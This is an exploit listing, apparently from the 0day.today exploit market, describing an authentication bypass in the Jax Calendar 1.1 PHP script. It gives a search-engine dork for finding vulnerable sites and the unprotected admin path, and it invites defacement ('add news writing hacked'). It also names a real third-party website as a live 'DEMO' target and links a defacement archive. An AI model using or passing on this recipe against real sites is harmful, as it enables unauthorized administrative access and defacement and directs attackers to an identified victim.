[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Jax Calender admin bypass vulnerability

Author
EraGoN
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-14336
Category
web applications
Date add
04-10-2010
Platform
php
=======================================
Jax Calender admin bypass vulnerability
=======================================

# Exploit Title: Jax Calender admin bypass vulnerability
# Date: 3.10.2010
# Author: EraGoN
# Software Link: http://www.jtr.de/scripting/php/calendar/index_eng.html
# Version: 1.1
# Tested on: Windows XP - SP2/SP3

Hi guys !

Dork :
 inurl:jax_calendar.php

In the url http://site.com/calendar/jax_calendar.php delete jax_calendar.php

URL to add :

/admin/calendar.admin.php

You can add news writing hacked etc.. ;)

Results in /../jax_calendar.php

DEMO :
http://www.hunde-ausstellungen.de/calendar/jax_calendar.php

###############

http://www.zone-h.org/archive/published=0/notifier=EraGoN

Greetz : The|Denny - Loock3D - DJ-DUKLI and all albanian/kosovo hackers !

www.eragon.ws - www.albanian-legends.com

###############



#  0day.today [2024-10-05]  #